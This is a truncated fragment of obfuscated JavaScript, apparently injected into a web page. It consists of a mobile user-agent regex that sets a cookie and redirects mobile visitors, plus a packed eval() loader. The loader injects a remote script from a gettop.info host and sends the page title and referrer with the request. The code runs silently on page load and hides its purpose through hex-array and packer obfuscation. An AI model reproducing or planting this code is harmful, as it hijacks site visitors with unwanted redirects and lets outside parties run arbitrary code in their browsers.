|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))